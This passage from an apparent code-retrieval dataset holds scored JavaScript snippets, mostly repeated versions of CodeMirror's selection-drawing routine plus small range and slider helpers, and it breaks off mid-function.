{\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n var leftPos = coords(from, \"left\"), rightPos, left, right;\n if (from == to) {\n rightPos = leftPos;\n left = right = leftPos.left;\n } else {\n rightPos = coords(to - 1, \"right\");\n if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n left = leftPos.left;\n right = rightPos.right;\n }\n if (fromArg == null && from == 0) { left = leftSide; }\n if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n add(left, leftPos.top, null, leftPos.bottom);\n left = leftSide;\n if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n }\n if (toArg == null && to == lineLen) { right = rightSide; }\n if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n { start = leftPos; }\n if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n { end = rightPos; }\n if (left < leftSide + 1) { left = leftSide; }\n add(left, rightPos.top, right - left, rightPos.bottom);\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "e1350269d6981c4519c84a650d960a3d", "score": "0.5691902", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n var leftPos = coords(from, \"left\"), rightPos, left, right;\n if (from == to) {\n rightPos = leftPos;\n left = right = leftPos.left;\n } else {\n rightPos = coords(to - 1, \"right\");\n if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n left = leftPos.left;\n right = rightPos.right;\n }\n if (fromArg == null && from == 0) { left = leftSide; }\n if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n add(left, leftPos.top, null, leftPos.bottom);\n left = leftSide;\n if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n }\n if (toArg == null && to == lineLen) { right = rightSide; }\n if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n { start = leftPos; }\n if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n { end = rightPos; }\n if (left < leftSide + 1) { left = leftSide; }\n add(left, rightPos.top, right - left, rightPos.bottom);\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "e1350269d6981c4519c84a650d960a3d", "score": "0.5691902", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n var leftPos = coords(from, \"left\"), rightPos, left, right;\n if (from == to) {\n rightPos = leftPos;\n left = right = leftPos.left;\n } else {\n rightPos = coords(to - 1, \"right\");\n if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n left = leftPos.left;\n right = rightPos.right;\n }\n if (fromArg == null && from == 0) { left = leftSide; }\n if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n add(left, leftPos.top, null, leftPos.bottom);\n left = leftSide;\n if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n }\n if (toArg == null && to == lineLen) { right = rightSide; }\n if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n { start = leftPos; }\n if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n { end = rightPos; }\n if (left < leftSide + 1) { left = leftSide; }\n add(left, rightPos.top, right - left, rightPos.bottom);\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "7f3644a9cff3dd48cfd43f01f64c6f5d", "score": "0.5679298", "text": "print() {\n const flatRanges = this.getFlatRanges();\n let output = '';\n for (let i = 0; i < flatRanges.length; i += 2) {\n output += `[${flatRanges[i]}, ${flatRanges[i + 1]}) `; // \"[a, b) \"\n }\n output = output.trim();\n console.log(output);\n return output;\n }", "title": "" }, { "docid": "cdf9535f89c0db01a87b07f844618eeb", "score": "0.56688136", "text": "function getEcoRiskRange(input) {\n var mx = document.getElementById('hiEcoRisk').innerHTML;\n document.getElementById('ecorisk_range').max = mx;\n var mn = document.getElementById('lowEcoRisk').innerHTML;\n document.getElementById('ecorisk_range').min = mn;\n var unit = (mx - mn) / 100;\n document.getElementById('ecorisk_range').step = unit;\n filterEcoRiskData(input);\n}", "title": "" }, { "docid": "9e679cb32476952c060af0465c39316a", "score": "0.56668234", "text": "function showFrcvalue(newValue)\n{\n\tdocument.getElementById(\"Frcrange\").innerHTML=newValue;\n}", "title": "" }, { "docid": "a8ee4420f4bd074abb35e27e5a447e0b", "score": "0.5662971", "text": "function inRange(rangeNum) {\n\t\tif (rangeNum == 0) { $('#rating').text('Cold as ice'); } \n\t\telse if (rangeNum == 1) { $('#rating').text('Damn cold');\t} \n\t\telse if (rangeNum == 2) { $('#rating').text('Quite nippy'); } \n\t\telse if (rangeNum == 3) { $('#rating').text('Fairly mild out'); } \n\t\telse if (rangeNum == 4) { $('#rating').text('Just about right'); } \n\t\telse if (rangeNum == 5) { $('#rating').text('Warm enough'); } \n\t\telse if (rangeNum == 6) { $('#rating').text('Pretty sweaty'); } \n\t\telse if (rangeNum == 7) { $('#rating').text('Melt your balls off'); } \n\t}", "title": "" }, { "docid": "f026ed23d1f7f90570197f42852cd718", "score": "0.56623685", "text": "function displayRangeTotals()\r\n{\r\n\tloadCatalogXML(\"furniture\")\r\n\tdisplayTotalRange(\"totalFurniture\", totalFurnitureProducts);\r\n\tdisplayTotalRange(\"totalAccessories\", totalAccessoriesProducts);\r\n\tdisplayBrandFiltersPanel();\r\n}", "title": "" }, { "docid": "dff354ac2acc1646d9ac761ccbb815ba", "score": "0.5655638", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var fromPos = coords(from, dir == \"ltr\" ? \"left\" : \"right\");\n var toPos = coords(to - 1, dir == \"ltr\" ? \"right\" : \"left\");\n if (dir == \"ltr\") {\n var fromLeft = fromArg == null && from == 0 ? leftSide : fromPos.left;\n var toRight = toArg == null && to == lineLen ? rightSide : toPos.right;\n if (toPos.top - fromPos.top <= 3) { // Single line\n add(fromLeft, toPos.top, toRight - fromLeft, toPos.bottom);\n } else { // Multiple lines\n add(fromLeft, fromPos.top, null, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(leftSide, toPos.top, toPos.right, toPos.bottom);\n }\n } else if (from < to) { // RTL\n var fromRight = fromArg == null && from == 0 ? rightSide : fromPos.right;\n var toLeft = toArg == null && to == lineLen ? leftSide : toPos.left;\n if (toPos.top - fromPos.top <= 3) { // Single line\n add(toLeft, toPos.top, fromRight - toLeft, toPos.bottom);\n } else { // Multiple lines\n var topLeft = leftSide;\n if (i) {\n var topEnd = wrappedLineExtentChar(cm, lineObj, null, from).end;\n // The coordinates returned for an RTL wrapped space tend to\n // be complete bogus, so try to skip that here.\n topLeft = coords(topEnd - (/\\s/.test(lineObj.text.charAt(topEnd - 1)) ? 2 : 1), \"left\").left;\n }\n add(topLeft, fromPos.top, fromRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n var botWidth = null;\n if (i < order.length - 1 || true) {\n var botStart = wrappedLineExtentChar(cm, lineObj, null, to).begin;\n botWidth = coords(botStart, \"right\").right - toLeft;\n }\n add(toLeft, toPos.top, botWidth, toPos.bottom);\n }\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "6b0f6b246a8a1c1f7b254a04f7eca3fb", "score": "0.56509864", "text": "get _isRange () { return true }", "title": "" }, { "docid": "19157d2ada609cef44fbdbf7bb867454", "score": "0.5646507", "text": "get main() { return this.ranges[this.mainIndex]; }", "title": "" }, { "docid": "19157d2ada609cef44fbdbf7bb867454", "score": "0.5646507", "text": "get main() { return this.ranges[this.mainIndex]; }", "title": "" }, { "docid": "94f414f01b89806d590e6157af4125bf", "score": "0.56382096", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "94f414f01b89806d590e6157af4125bf", "score": "0.56382096", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "94f414f01b89806d590e6157af4125bf", "score": "0.56382096", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "94f414f01b89806d590e6157af4125bf", "score": "0.56382096", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, 